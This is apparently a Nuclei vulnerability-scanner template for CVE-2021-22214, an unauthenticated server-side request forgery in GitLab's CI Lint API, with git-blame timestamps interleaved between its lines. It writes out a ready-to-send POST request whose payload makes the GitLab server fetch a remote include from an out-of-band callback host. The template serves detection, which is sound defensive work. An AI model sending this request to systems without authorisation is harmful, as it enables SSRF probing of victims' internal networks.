2021-06-18 09:12:13 +00:00
id : CVE-2021-22214
2021-06-17 12:43:03 +00:00
info :
author : Suman_Kar
2021-06-18 09:32:17 +00:00
name : Unauthenticated Gitlab SSRF - CI Lint API
2021-06-17 12:43:03 +00:00
severity : medium
2021-06-18 09:12:13 +00:00
description : When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited.
reference : |
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
2021-06-18 09:32:17 +00:00
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
2021-06-18 09:12:13 +00:00
- https://docs.gitlab.com/ee/api/lint.html
2021-06-18 09:32:17 +00:00
tags : cve,cve2021,gitlab,ssrf,oob
2021-06-17 12:43:03 +00:00
requests :
- raw :
- |
2021-06-18 09:32:17 +00:00
POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
2021-06-17 12:43:03 +00:00
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Referer : {{BaseURL}}
content-type : application/json
Connection : close
2021-06-18 09:32:17 +00:00
{"content": "include:\n remote: http://{{interactsh-url}}/api/v1/targets?test.yml" }
2021-06-17 12:43:03 +00:00
matchers :
2021-06-18 09:32:17 +00:00
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
2021-07-07 03:50:13 +00:00
- "http"